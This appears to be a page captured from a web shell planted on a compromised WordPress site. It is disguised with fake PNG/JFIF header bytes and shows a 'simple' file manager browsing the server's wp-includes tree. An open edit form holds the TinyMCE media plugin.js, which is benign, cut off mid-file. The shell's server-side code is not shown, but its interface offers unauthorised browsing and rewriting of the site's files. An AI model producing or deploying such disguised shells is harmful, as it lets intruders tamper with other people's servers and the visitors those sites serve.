�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2F'>www.stick-clip.at</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2F'>htdocsold</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2Fwp-includes%2F'>wp-includes</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2Fwp-includes%2Fjs%2F'>js</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2Fwp-includes%2Fjs%2Ftinymce%2F'>tinymce</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2Fwp-includes%2Fjs%2Ftinymce%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2Fwp-includes%2Fjs%2Ftinymce%2Fplugins%2Fmedia%2F'>media</a>/</p><hr><h3>✏️ Editing: plugin.js</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>(function () {
var media = (function () {
    &#039;use strict&#039;;

    var global = tinymce.util.Tools.resolve(&#039;tinymce.PluginManager&#039;);

    var global$1 = tinymce.util.Tools.resolve(&#039;tinymce.Env&#039;);

    var global$2 = tinymce.util.Tools.resolve(&#039;tinymce.util.Tools&#039;);

    var getScripts = function (editor) {
      return editor.getParam(&#039;media_scripts&#039;);
    };
    var getAudioTemplateCallback = function (editor) {
      return editor.getParam(&#039;audio_template_callback&#039;);
    };
    var getVideoTemplateCallback = function (editor) {
      return editor.getParam(&#039;video_template_callback&#039;);
    };
    var hasLiveEmbeds = function (editor) {
      return editor.getParam(&#039;media_live_embeds&#039;, true);
    };
    var shouldFilterHtml = function (editor) {
      return editor.getParam(&#039;media_filter_html&#039;, true);
    };
    var getUrlResolver = function (editor) {
      return editor.getParam(&#039;media_url_resolver&#039;);
    };
    var hasAltSource = function (editor) {
      return editor.getParam(&#039;media_alt_source&#039;, true);
    };
    var hasPoster = function (editor) {
      return editor.getParam(&#039;media_poster&#039;, true);
    };
    var hasDimensions = function (editor) {
      return editor.getParam(&#039;media_dimensions&#039;, true);
    };
    var Settings = {
      getScripts: getScripts,
      getAudioTemplateCallback: getAudioTemplateCallback,
      getVideoTemplateCallback: getVideoTemplateCallback,
      hasLiveEmbeds: hasLiveEmbeds,
      shouldFilterHtml: shouldFilterHtml,
      getUrlResolver: getUrlResolver,
      hasAltSource: hasAltSource,
      hasPoster: hasPoster,
      hasDimensions: hasDimensions
    };

    var Cell = function (initial) {
      var value = initial;
      var get = function () {
        return value;
      };
      var set = function (v) {
        value = v;
      };
      var clone = function () {
        return Cell(get());
      };
      return {
        get: get,
        set: set,
        clone: clone
      };
    };

    var noop = function () {
    };
    var constant = function (value) {
      return function () {
        return value;
      };
    };
    var never = constant(false);
    var always = constant(true);

    var none = function () {
      return NONE;
    };
    var NONE = function () {
      var eq = function (o) {
        return o.isNone();
      };
      var call = function (thunk) {
        return thunk();
      };
      var id = function (n) {
        return n;
      };
      var me = {
        fold: function (n, s) {
          return n();
        },
        is: never,
        isSome: never,
        isNone: always,
        getOr: id,
        getOrThunk: call,
        getOrDie: function (msg) {
          throw new Error(msg || &#039;error: getOrDie called on none.&#039;);
        },
        getOrNull: constant(null),
        getOrUndefined: constant(undefined),
        or: id,
        orThunk: call,
        map: none,
        each: noop,
        bind: none,
        exists: never,
        forall: always,
        filter: none,
        equals: eq,
        equals_: eq,
        toArray: function () {
          return [];
        },
        toString: constant(&#039;none()&#039;)
      };
      if (Object.freeze) {
        Object.freeze(me);
      }
      return me;
    }();
    var some = function (a) {
      var constant_a = constant(a);
      var self = function () {
        return me;
      };
      var bind = function (f) {
        return f(a);
      };
      var me = {
        fold: function (n, s) {
          return s(a);
        },
        is: function (v) {
          return a === v;
        },
        isSome: always,
        isNone: never,
        getOr: constant_a,
        getOrThunk: constant_a,
        getOrDie: constant_a,
        getOrNull: constant_a,
        getOrUndefined: constant_a,
        or: self,
        orThunk: self,
        map: function (f) {
          return some(f(a));
        },
        each: function (f) {
          f(a);
        },
        bind: bind,
        exists: bind,
        forall: bind,
        filter: function (f) {
          return f(a) ? me : NONE;
        },
        toArray: function () {
          return [a];
        },
        toString: function () {
          return &#039;some(&#039; + a + &#039;)&#039;;
        },
        equals: function (o) {
          return o.is(a);
        },
        equals_: function (o, elementEq) {
          return o.fold(never, function (b) {
            return elementEq(a, b);
          });
        }
      };
      return me;
    };
    var from = function (value) {
      return value === null || value === undefined ? NONE : some(value);
    };
    var Option = {
      some: some,
      none: none,
      from: from
    };

    var hasOwnProperty = Object.hasOwnProperty;
    var get = function (obj, key) {
      return has(obj, key) ? Option.from(obj[key]) : Option.none();
    };
    var has = function (obj, key) {
      return hasOwnProperty.call(obj, key);
    };

    var global$3 = tinymce.util.Tools.resolve(&#039;tinymce.dom.DOMUtils&#039;);

    var global$4 = tinymce.util.Tools.resolve(&#039;tinymce.html.SaxParser&#039;);

    var getVideoScriptMatch = function (prefixes, src) {
      if (prefixes) {
        for (var i = 0; i &lt; prefixes.length; i++) {
          if (src.indexOf(prefixes[i].filter) !== -1) {
            return prefixes[i];
          }
        }
      }
    };
    var VideoScript = { getVideoScriptMatch: getVideoScriptMatch };

    var DOM = global$3.DOM;
    var trimPx = function (value) {
      return value.replace(/px$/, &#039;&#039;);
    };
    var getEphoxEmbedData = function (attrs) {
      var style = attrs.map.style;
      var styles = style ? DOM.parseStyle(style) : {};
      return {
        type: &#039;ephox-embed-iri&#039;,
        source1: attrs.map[&#039;data-ephox-embed-iri&#039;],
        source2: &#039;&#039;,
        poster: &#039;&#039;,
        width: get(styles, &#039;max-width&#039;).map(trimPx).getOr(&#039;&#039;),
        height: get(styles, &#039;max-height&#039;).map(trimPx).getOr(&#039;&#039;)
      };
    };
    var htmlToData = function (prefixes, html) {
      var isEphoxEmbed = Cell(false);
      var data = {};
      global$4({
        validate: false,
        allow_conditional_comments: true,
        special: &#039;script,noscript&#039;,
        start: function (name, attrs) {
          if (isEphoxEmbed.get()) ; else if (has(attrs.map, &#039;data-ephox-embed-iri&#039;)) {
            isEphoxEmbed.set(true);
            data = getEphoxEmbedData(attrs);
          } else {
            if (!data.source1 &amp;&amp; name === &#039;param&#039;) {
              data.source1 = attrs.map.movie;
            }
            if (name === &#039;iframe&#039; || name === &#039;object&#039; || name === &#039;embed&#039; || name === &#039;video&#039; || name === &#039;audio&#039;) {
              if (!data.type) {
                data.type = name;
              }
              data = global$2.extend(attrs.map, data);
            }
            if (name === &#039;script&#039;) {
              var videoScript = VideoScript.getVideoScriptMatch(prefixes, attrs.map.src);
              if (!videoScript) {
                return;
              }
              data = {
                type: &#039;script&#039;,
                source1: attrs.map.src,
                width: videoScript.width,
                height: videoScript.height
              };
            }
            if (name === &#039;source&#039;) {
              if (!data.source1) {
                data.source1 = attrs.map.src;
              } else if (!data.source2) {
                data.source2 = attrs.map.src;
              }
            }
            if (name === &#039;img&#039; &amp;&amp; !data.poster) {
              data.poster = attrs.map.src;
            }
          }
        }
      }).parse(html);
      data.source1 = data.source1 || data.src || data.data;
      data.source2 = data.source2 || &#039;&#039;;
      data.poster = data.poster || &#039;&#039;;
      return data;
    };
    var HtmlToData = { htmlToData: htmlToData };

    var global$5 = tinymce.util.Tools.resolve(&#039;tinymce.util.Promise&#039;);

    var guess = function (url) {
      var mimes = {
        mp3: &#039;audio/mpeg&#039;,
        wav: &#039;audio/wav&#039;,
        mp4: &#039;video/mp4&#039;,
        webm: &#039;video/webm&#039;,
        ogg: &#039;video/ogg&#039;,
        swf: &#039;application/x-shockwave-flash&#039;
      };
      var fileEnd = url.toLowerCase().split(&#039;.&#039;).pop();
      var mime = mimes[fileEnd];
      return mime ? mime : &#039;&#039;;
    };
    var Mime = { guess: guess };

    var global$6 = tinymce.util.Tools.resolve(&#039;tinymce.html.Schema&#039;);

    var global$7 = tinymce.util.Tools.resolve(&#039;tinymce.html.Writer&#039;);

    var DOM$1 = global$3.DOM;
    var addPx = function (value) {
      return /^[0-9.]+$/.test(value) ? value + &#039;px&#039; : value;
    };
    var setAttributes = function (attrs, updatedAttrs) {
      for (var name in updatedAttrs) {
        var value = &#039;&#039; + updatedAttrs[name];
        if (attrs.map[name]) {
          var i = attrs.length;
          while (i--) {
            var attr = attrs[i];
            if (attr.name === name) {
              if (value) {
                attrs.map[name] = value;
                attr.value = value;
              } else {
                delete attrs.map[name];
                attrs.splice(i, 1);
              }
            }
          }
        } else if (value) {
          attrs.push({
            name: name,
            value: value
          });
          attrs.map[name] = value;
        }
      }
    };
    var updateEphoxEmbed = function (data, attrs) {
      var style = attrs.map.style;
      var styleMap = style ? DOM$1.parseStyle(style) : {};
      styleMap[&#039;max-width&#039;] = addPx(data.width);
      styleMap[&#039;max-height&#039;] = addPx(data.height);
      setAttributes(attrs, { style: DOM$1.serializeStyle(styleMap) });
    };
    var updateHtml = function (html, data, updateAll) {
      var writer = global$7();
      var isEphoxEmbed = Cell(false);
      var sourceCount = 0;
      var hasImage;
      global$4({
        validate: false,
        allow_conditional_comments: true,
        special: &#039;script,noscript&#039;,
        comment: function (text) {
          writer.comment(text);
        },
        cdata: function (text) {
          writer.cdata(text);
        },
        text: function (text, raw) {
          writer.text(text, raw);
        },
        start: function (name, attrs, empty) {
          if (isEphoxEmbed.get()) ; else if (has(attrs.map, &#039;data-ephox-embed-iri&#039;)) {
            isEphoxEmbed.set(true);
            updateEphoxEmbed(data, attrs);
          } else {
            switch (name) {
            case &#039;video&#039;:
            case &#039;object&#039;:
            case &#039;embed&#039;:
            case &#039;img&#039;:
            case &#039;iframe&#039;:
              if (data.height !== undefined &amp;&amp; data.width !== undefined) {
                setAttributes(attrs, {
                  width: data.width,
                  height: data.height
                });
              }
              break;
            }
            if (updateAll) {
              switch (name) {
              case &#039;video&#039;:
                setAttributes(attrs, {
                  poster: data.poster,
                  src: &#039;&#039;
                });
                if (data.source2) {
                  setAttributes(attrs, { src: &#039;&#039; });
                }
                break;
              case &#039;iframe&#039;:
                setAttributes(attrs, { src: data.source1 });
                break;
              case &#039;source&#039;:
                sourceCount++;
                if (sourceCount &lt;= 2) {
                  setAttributes(attrs, {
                    src: data[&#039;source&#039; + sourceCount],
                    type: data[&#039;source&#039; + sourceCount + &#039;mime&#039;]
                  });
                  if (!data[&#039;source&#039; + sourceCount]) {
                    return;
                  }
                }
                break;
              case &#039;img&#039;:
                if (!data.poster) {
                  return;
                }
                hasImage = true;
                break;
              }
            }
          }
          writer.start(name, attrs, empty);
        },
        end: function (name) {
          if (!isEphoxEmbed.get()) {
            if (name === &#039;video&#039; &amp;&amp; updateAll) {
              for (var index = 1; index &lt;= 2; index++) {
                if (data[&#039;source&#039; + index]) {
                  var attrs = [];
                  attrs.map = {};
                  if (sourceCount &lt; index) {
                    setAttributes(attrs, {
                      src: data[&#039;source&#039; + index],
                      type: data[&#039;source&#039; + index + &#039;mime&#039;]
                    });
                    writer.start(&#039;source&#039;, attrs, true);
                  }
                }
              }
            }
            if (data.poster &amp;&amp; name === &#039;object&#039; &amp;&amp; updateAll &amp;&amp; !hasImage) {
              var imgAttrs = [];
              imgAttrs.map = {};
              setAttributes(imgAttrs, {
                src: data.poster,
                width: data.width,
                height: data.height
              });
              writer.start(&#039;img&#039;, imgAttrs, true);
            }
          }
          writer.end(name);
        }
      }, global$6({})).parse(html);
      return writer.getContent();
    };
    var UpdateHtml = { updateHtml: updateHtml };

    var urlPatterns = [
      {
        regex: /youtu\.be\/([\w\-_\?&amp;=.]+)/i,
        type: &#039;iframe&#039;,
        w: 560,
        h: 314,
        url: &#039;//www.youtube.com/embed/$1&#039;,
        allowFullscreen: true
      },
      {
        regex: /youtube\.com(.+)v=([^&amp;]+)(&amp;([a-z0-9&amp;=\-_]+))?/i,
        type: &#039;iframe&#039;,
        w: 560,
        h: 314,
        url: &#039;//www.youtube.com/embed/$2?$4&#039;,
        allowFullscreen: true
      },
      {
        regex: /youtube.com\/embed\/([a-z0-9\?&amp;=\-_]+)/i,
        type: &#039;iframe&#039;,
        w: 560,
        h: 314,
        url: &#039;//www.youtube.com/embed/$1&#039;,
        allowFullscreen: true
      },
      {
        regex: /vimeo\.com\/([0-9]+)/,
        type: &#039;iframe&#039;,
        w: 425,
        h: 350,
        url: &#039;//player.vimeo.com/video/$1?title=0&amp;byline=0&amp;portrait=0&amp;color=8dc7dc&#039;,
        allowFullscreen: true
      },
      {
        regex: /vimeo\.com\/(.*)\/([0-9]+)/,
        type: &#039;iframe&#039;,
        w: 425,
        h: 350,
        url: &#039;//player.vimeo.com/video/$2?title=0&amp;amp;byline=0&#039;,
        allowFullscreen: true
      },
      {
        regex: /maps\.google\.([a-z]{2,3})\/maps\/(.+)msid=(.+)/,
        type: &#039;iframe&#039;,
        w: 425,
        h: 350,
        url: &#039;//maps.google.com/maps/ms?msid=$2&amp;output=embed&quot;&#039;,
        allowFullscreen: false
      },
      {
        regex: /dailymotion\.com\/video\/([^_]+)/,
        type: &#039;iframe&#039;,
        w: 480,
        h: 270,
        url: &#039;//www.dailymotion.com/embed/video/$1&#039;,
        allowFullscreen: true
      },
      {
        regex: /dai\.ly\/([^_]+)/,
        type: &#039;iframe&#039;,
        w: 480,
        h: 270,
        url: &#039;//www.dailymotion.com/embed/video/$1&#039;,
        allowFullscreen: true
      }
    ];
    var getUrl = function (pattern, url) {
      var match = pattern.regex.exec(url);
      var newUrl = pattern.url;
      var _loop_1 = function (i) {
        newUrl = newUrl.replace(&#039;$&#039; + i, function () {
          return match[i] ? match[i] : &#039;&#039;;
        });
      };
      for (var i = 0; i &lt; match.length; i++) {
        _loop_1(i);
      }
      return newUrl.replace(/\?$/, &#039;&#039;);
    };
    var matchPattern = function (url) {
      var pattern = urlPatterns.filter(function (pattern) {
        return pattern.regex.test(url);
      });
      if (pattern.length &gt; 0) {
        return global$2.extend({}, pattern[0], { url: getUrl(pattern[0], url) });
      } else {
        return null;
      }
    };

    var getIframeHtml = function (data) {
      var allowFullscreen = data.allowFullscreen ? &#039; allowFullscreen=&quot;1&quot;&#039; : &#039;&#039;;
      return &#039;&lt;iframe src=&quot;&#039; + data.source1 + &#039;&quot; width=&quot;&#039; + data.width + &#039;&quot; height=&quot;&#039; + data.height + &#039;&quot;&#039; + allowFullscreen + &#039;&gt;&lt;/iframe&gt;&#039;;
    };
    var getFlashHtml = function (data) {
      var html = &#039;&lt;object data=&quot;&#039; + data.source1 + &#039;&quot; width=&quot;&#039; + data.width + &#039;&quot; height=&quot;&#039; + data.height + &#039;&quot; type=&quot;application/x-shockwave-flash&quot;&gt;&#039;;
      if (data.poster) {
        html += &#039;&lt;img src=&quot;&#039; + data.poster + &#039;&quot; width=&quot;&#039; + data.width + &#039;&quot; height=&quot;&#039; + data.height + &#039;&quot; /&gt;&#039;;
      }
      html += &#039;&lt;/object&gt;&#039;;
      return html;
    };
    var getAudioHtml = function (data, audioTemplateCallback) {
      if (audioTemplateCallback) {
        return audioTemplateCallback(data);
      } else {
        return &#039;&lt;audio controls=&quot;controls&quot; src=&quot;&#039; + data.source1 + &#039;&quot;&gt;&#039; + (data.source2 ? &#039;\n&lt;source src=&quot;&#039; + data.source2 + &#039;&quot;&#039; + (data.source2mime ? &#039; type=&quot;&#039; + data.source2mime + &#039;&quot;&#039; : &#039;&#039;) + &#039; /&gt;\n&#039; : &#039;&#039;) + &#039;&lt;/audio&gt;&#039;;
      }
    };
    var getVideoHtml = function (data, videoTemplateCallback) {
      if (videoTemplateCallback) {
        return videoTemplateCallback(data);
      } else {
        return &#039;&lt;video width=&quot;&#039; + data.width + &#039;&quot; height=&quot;&#039; + data.height + &#039;&quot;&#039; + (data.poster ? &#039; poster=&quot;&#039; + data.poster + &#039;&quot;&#039; : &#039;&#039;) + &#039; controls=&quot;controls&quot;&gt;\n&#039; + &#039;&lt;source src=&quot;&#039; + data.source1 + &#039;&quot;&#039; + (data.source1mime ? &#039; type=&quot;&#039; + data.source1mime + &#039;&quot;&#039; : &#039;&#039;) + &#039; /&gt;\n&#039; + (data.source2 ? &#039;&lt;source src=&quot;&#039; + data.source2 + &#039;&quot;&#039; + (data.source2mime ? &#039; type=&quot;&#039; + data.source2mime + &#039;&quot;&#039; : &#039;&#039;) + &#039; /&gt;\n&#039; : &#039;&#039;) + &#039;&lt;/video&gt;&#039;;
      }
    };
    var getScriptHtml = function (data) {
      return &#039;&lt;script src=&quot;&#039; + data.source1 + &#039;&quot;&gt;&lt;/script&gt;&#039;;
    };
    var dataToHtml = function (editor, dataIn) {
      var data = global$2.extend({}, dataIn);
      if (!data.source1) {
        global$2.extend(data, HtmlToData.htmlToData(Settings.getScripts(editor), data.embed));
        if (!data.source1) {
          return &#039;&#039;;
        }
      }
      if (!data.source2) {
        data.source2 = &#039;&#039;;
      }
      if (!data.poster) {
        data.poster = &#039;&#039;;
      }
      data.source1 = editor.convertURL(data.source1, &#039;source&#039;);
      data.source2 = editor.convertURL(data.source2, &#039;source&#039;);
      data.source1mime = Mime.guess(data.source1);
      data.source2mime = Mime.guess(data.source2);
      data.poster = editor.convertURL(data.poster, &#039;poster&#039;);
      var pattern = matchPattern(data.source1);
      if (pattern) {
        data.source1 = pattern.url;
        data.type = pattern.type;
        data.allowFullscreen = pattern.allowFullscreen;
        data.width = data.width || pattern.w;
        data.height = data.height || pattern.h;
      }
      if (data.embed) {
        return UpdateHtml.updateHtml(data.embed, data, true);
      } else {
        var videoScript = VideoScript.getVideoScriptMatch(Settings.getScripts(editor), data.source1);
        if (videoScript) {
          data.type = &#039;script&#039;;
          data.width = videoScript.width;
          data.height = videoScript.height;
        }
        var audioTemplateCallback = Settings.getAudioTemplateCallback(editor);
        var videoTemplateCallback = Settings.getVideoTemplateCallback(editor);
        data.width = data.width || 300;
        data.height = data.height || 150;
        global$2.each(data, function (value, key) {
          data[key] = editor.dom.encode(value);
        });
        if (data.type === &#039;iframe&#039;) {
          return getIframeHtml(data);
        } else if (data.source1mime === &#039;application/x-shockwave-flash&#039;) {
          return getFlashHtml(data);
        } else if (data.source1mime.indexOf(&#039;audio&#039;) !== -1) {
          return getAudioHtml(data, audioTemplateCallback);
        } else if (data.type === &#039;script&#039;) {
          return getScriptHtml(data);
        } else {
          return getVideoHtml(data, videoTemplateCallback);
        }
      }
    };
    var DataToHtml = { dataToHtml: dataToHtml };

    var cache = {};
    var embedPromise = function (data, dataToHtml, handler) {
      return new global$5(function (res, rej) {
        var wrappedResolve = function (response) {
          if (response.html) {
            cache[data.source1] = response;
          }
          return res({
            url: data.source1,
            html: response.html ? response.html : dataToHtml(data)
          });
        };
        if (cache[data.source1]) {
          wrappedResolve(cache[data.source1]);
        } else {
          handler({ url: data.source1 }, wrappedResolve, rej);
        }
      });
    };
    var defaultPromise = function (data, dataToHtml) {
      return new global$5(function (res) {
        res({
          html: dataToHtml(data),
          url: data.source1
        });
      });
    };
    var loadedData = function (editor) {
      return function (data) {
        return DataToHtml.dataToHtml(editor, data);
      };
    };
    var getEmbedHtml = function (editor, data) {
      var embedHandler = Settings.getUrlResolver(editor);
      return embedHandler ? embedPromise(data, loadedData(editor), embedHandler) : defaultPromise(data, loadedData(editor));
    };
    var isCached = function (url) {
      return cache.hasOwnProperty(url);
    };
    var Service = {
      getEmbedHtml: getEmbedHtml,
      isCached: isCached
    };

    var trimPx$1 = function (value) {
      return value.replace(/px$/, &#039;&#039;);
    };
    var addPx$1 = function (value) {
      return /^[0-9.]+$/.test(value) ? value + &#039;px&#039; : value;
    };
    var getSize = function (name) {
      return function (elm) {
        return elm ? trimPx$1(elm.style[name]) : &#039;&#039;;
      };
    };
    var setSize = function (name) {
      return function (elm, value) {
        if (elm) {
          elm.style[name] = addPx$1(value);
        }
      };
    };
    var Size = {
      getMaxWidth: getSize(&#039;maxWidth&#039;),
      getMaxHeight: getSize(&#039;maxHeight&#039;),
      setMaxWidth: setSize(&#039;maxWidth&#039;),
      setMaxHeight: setSize(&#039;maxHeight&#039;)
    };

    var doSyncSize = function (widthCtrl, heightCtrl) {
      widthCtrl.state.set(&#039;oldVal&#039;, widthCtrl.value());
      heightCtrl.state.set(&#039;oldVal&#039;, heightCtrl.value());
    };
    var doSizeControls = function (win, f) {
      var widthCtrl = win.find(&#039;#width&#039;)[0];
      var heightCtrl = win.find(&#039;#height&#039;)[0];
      var constrained = win.find(&#039;#constrain&#039;)[0];
      if (widthCtrl &amp;&amp; heightCtrl &amp;&amp; constrained) {
        f(widthCtrl, heightCtrl, constrained.checked());
      }
    };
    var doUpdateSize = function (widthCtrl, heightCtrl, isContrained) {
      var oldWidth = widthCtrl.state.get(&#039;oldVal&#039;);
      var oldHeight = heightCtrl.state.get(&#039;oldVal&#039;);
      var newWidth = widthCtrl.value();
      var newHeight = heightCtrl.value();
      if (isContrained &amp;&amp; oldWidth &amp;&amp; oldHeight &amp;&amp; newWidth &amp;&amp; newHeight) {
        if (newWidth !== oldWidth) {
          newHeight = Math.round(newWidth / oldWidth * newHeight);
          if (!isNaN(newHeight)) {
            heightCtrl.value(newHeight);
          }
        } else {
          newWidth = Math.round(newHeight / oldHeight * newWidth);
          if (!isNaN(newWidth)) {
            widthCtrl.value(newWidth);
          }
        }
      }
      doSyncSize(widthCtrl, heightCtrl);
    };
    var syncSize = function (win) {
      doSizeControls(win, doSyncSize);
    };
    var updateSize = function (win) {
      doSizeControls(win, doUpdateSize);
    };
    var createUi = function (onChange) {
      var recalcSize = function () {
        onChange(function (win) {
          updateSize(win);
        });
      };
      return {
        type: &#039;container&#039;,
        label: &#039;Dimensions&#039;,
        layout: &#039;flex&#039;,
        align: &#039;center&#039;,
        spacing: 5,
        items: [
          {
            name: &#039;width&#039;,
            type: &#039;textbox&#039;,
            maxLength: 5,
            size: 5,
            onchange: recalcSize,
            ariaLabel: &#039;Width&#039;
          },
          {
            type: &#039;label&#039;,
            text: &#039;x&#039;
          },
          {
            name: &#039;height&#039;,
            type: &#039;textbox&#039;,
            maxLength: 5,
            size: 5,
            onchange: recalcSize,
            ariaLabel: &#039;Height&#039;
          },
          {
            name: &#039;constrain&#039;,
            type: &#039;checkbox&#039;,
            checked: true,
            text: &#039;Constrain proportions&#039;
          }
        ]
      };
    };
    var SizeManager = {
      createUi: createUi,
      syncSize: syncSize,
      updateSize: updateSize
    };

    var embedChange = global$1.ie &amp;&amp; global$1.ie &lt;= 8 ? &#039;onChange&#039; : &#039;onInput&#039;;
    var handleError = function (editor) {
      return function (error) {
        var errorMessage = error &amp;&amp; error.msg ? &#039;Media embed handler error: &#039; + error.msg : &#039;Media embed handler threw unknown error.&#039;;
        editor.notificationManager.open({
          type: &#039;error&#039;,
          text: errorMessage
        });
      };
    };
    var getData = function (editor) {
      var element = editor.selection.getNode();
      var dataEmbed = element.getAttribute(&#039;data-ephox-embed-iri&#039;);
      if (dataEmbed) {
        return {
          &#039;source1&#039;: dataEmbed,
          &#039;data-ephox-embed-iri&#039;: dataEmbed,
          &#039;width&#039;: Size.getMaxWidth(element),
          &#039;height&#039;: Size.getMaxHeight(element)
        };
      }
      return element.getAttribute(&#039;data-mce-object&#039;) ? HtmlToData.htmlToData(Settings.getScripts(editor), editor.serializer.serialize(element, { selection: true })) : {};
    };
    var getSource = function (editor) {
      var elm = editor.selection.getNode();
      if (elm.getAttribute(&#039;data-mce-object&#039;) || elm.getAttribute(&#039;data-ephox-embed-iri&#039;)) {
        return editor.selection.getContent();
      }
    };
    var addEmbedHtml = function (win, editor) {
      return function (response) {
        var html = response.html;
        var embed = win.find(&#039;#embed&#039;)[0];
        var data = global$2.extend(HtmlToData.htmlToData(Settings.getScripts(editor), html), { source1: response.url });
        win.fromJSON(data);
        if (embed) {
          embed.value(html);
          SizeManager.updateSize(win);
        }
      };
    };
    var selectPlaceholder = function (editor, beforeObjects) {
      var i;
      var y;
      var afterObjects = editor.dom.select(&#039;img[data-mce-object]&#039;);
      for (i = 0; i &lt; beforeObjects.length; i++) {
        for (y = afterObjects.length - 1; y &gt;= 0; y--) {
          if (beforeObjects[i] === afterObjects[y]) {
            afterObjects.splice(y, 1);
          }
        }
      }
      editor.selection.select(afterObjects[0]);
    };
    var handleInsert = function (editor, html) {
      var beforeObjects = editor.dom.select(&#039;img[data-mce-object]&#039;);
      editor.insertContent(html);
      selectPlaceholder(editor, beforeObjects);
      editor.nodeChanged();
    };
    var submitForm = function (win, editor) {
      var data = win.toJSON();
      data.embed = UpdateHtml.updateHtml(data.embed, data);
      if (data.embed &amp;&amp; Service.isCached(data.source1)) {
        handleInsert(editor, data.embed);
      } else {
        Service.getEmbedHtml(editor, data).then(function (response) {
          handleInsert(editor, response.html);
        }).catch(handleError(editor));
      }
    };
    var populateMeta = function (win, meta) {
      global$2.each(meta, function (value, key) {
        win.find(&#039;#&#039; + key).value(value);
      });
    };
    var showDialog = function (editor) {
      var win;
      var data;
      var generalFormItems = [{
          name: &#039;source1&#039;,
          type: &#039;filepicker&#039;,
          filetype: &#039;media&#039;,
          size: 40,
          autofocus: true,
          label: &#039;Source&#039;,
          onpaste: function () {
            setTimeout(function () {
              Service.getEmbedHtml(editor, win.toJSON()).then(addEmbedHtml(win, editor)).catch(handleError(editor));
            }, 1);
          },
          onchange: function (e) {
            Service.getEmbedHtml(editor, win.toJSON()).then(addEmbedHtml(win, editor)).catch(handleError(editor));
            populateMeta(win, e.meta);
          },
          onbeforecall: function (e) {
            e.meta = win.toJSON();
          }
        }];
      var advancedFormItems = [];
      var reserialise = function (update) {
        update(win);
        data = win.toJSON();
        win.find(&#039;#embed&#039;).value(UpdateHtml.updateHtml(data.embed, data));
      };
      if (Settings.hasAltSource(editor)) {
        advancedFormItems.push({
          name: &#039;source2&#039;,
          type: &#039;filepicker&#039;,
          filetype: &#039;media&#039;,
          size: 40,
          label: &#039;Alternative source&#039;
        });
      }
      if (Settings.hasPoster(editor)) {
        advancedFormItems.push({
          name: &#039;poster&#039;,
          type: &#039;filepicker&#039;,
          filetype: &#039;image&#039;,
          size: 40,
          label: &#039;Poster&#039;
        });
      }
      if (Settings.hasDimensions(editor)) {
        var control = SizeManager.createUi(reserialise);
        generalFormItems.push(control);
      }
      data = getData(editor);
      var embedTextBox = {
        id: &#039;mcemediasource&#039;,
        type: &#039;textbox&#039;,
        flex: 1,
        name: &#039;embed&#039;,
        value: getSource(editor),
        multiline: true,
        rows: 5,
        label: &#039;Source&#039;
      };
      var updateValueOnChange = function () {
        data = global$2.extend({}, HtmlToData.htmlToData(Settings.getScripts(editor), this.value()));
        this.parent().parent().fromJSON(data);
      };
      embedTextBox[embedChange] = updateValueOnChange;
      var body = [
        {
          title: &#039;General&#039;,
          type: &#039;form&#039;,
          items: generalFormItems
        },
        {
          title: &#039;Embed&#039;,
          type: &#039;container&#039;,
          layout: &#039;flex&#039;,
          direction: &#039;column&#039;,
          align: &#039;stretch&#039;,
          padding: 10,
          spacing: 10,
          items: [
            {
              type: &#039;label&#039;,
              text: &#039;Paste your embed code below:&#039;,
              forId: &#039;mcemediasource&#039;
            },
            embedTextBox
          ]
        }
      ];
      if (advancedFormItems.length &gt; 0) {
        body.push({
          title: &#039;Advanced&#039;,
          type: &#039;form&#039;,
          items: advancedFormItems
        });
      }
      win = editor.windowManager.open({
        title: &#039;Insert/edit media&#039;,
        data: data,
        bodyType: &#039;tabpanel&#039;,
        body: body,
        onSubmit: function () {
          SizeManager.updateSize(win);
          submitForm(win, editor);
        }
      });
      SizeManager.syncSize(win);
    };
    var Dialog = { showDialog: showDialog };

    var get$1 = function (editor) {
      var showDialog = function () {
        Dialog.showDialog(editor);
      };
      return { showDialog: showDialog };
    };
    var Api = { get: get$1 };

    var register = function (editor) {
      var showDialog = function () {
        Dialog.showDialog(editor);
      };
      editor.addCommand(&#039;mceMedia&#039;, showDialog);
    };
    var Commands = { register: register };

    var global$8 = tinymce.util.Tools.resolve(&#039;tinymce.html.Node&#039;);

    var sanitize = function (editor, html) {
      if (Settings.shouldFilterHtml(editor) === false) {
        return html;
      }
      var writer = global$7();
      var blocked;
      global$4({
        validate: false,
        allow_conditional_comments: false,
        special: &#039;script,noscript&#039;,
        comment: function (text) {
          writer.comment(text);
        },
        cdata: function (text) {
          writer.cdata(text);
        },
        text: function (text, raw) {
          writer.text(text, raw);
        },
        start: function (name, attrs, empty) {
          blocked = true;
          if (name === &#039;script&#039; || name === &#039;noscript&#039; || name === &#039;svg&#039;) {
            return;
          }
          for (var i = attrs.length - 1; i &gt;= 0; i--) {
            var attrName = attrs[i].name;
            if (attrName.indexOf(&#039;on&#039;) === 0) {
              delete attrs.map[attrName];
              attrs.splice(i, 1);
            }
            if (attrName === &#039;style&#039;) {
              attrs[i].value = editor.dom.serializeStyle(editor.dom.parseStyle(attrs[i].value), name);
            }
          }
          writer.start(name, attrs, empty);
          blocked = false;
        },
        end: function (name) {
          if (blocked) {
            return;
          }
          writer.end(name);
        }
      }, global$6({})).parse(html);
      return writer.getContent();
    };
    var Sanitize = { sanitize: sanitize };

    var createPlaceholderNode = function (editor, node) {
      var placeHolder;
      var name = node.name;
      placeHolder = new global$8(&#039;img&#039;, 1);
      placeHolder.shortEnded = true;
      retainAttributesAndInnerHtml(editor, node, placeHolder);
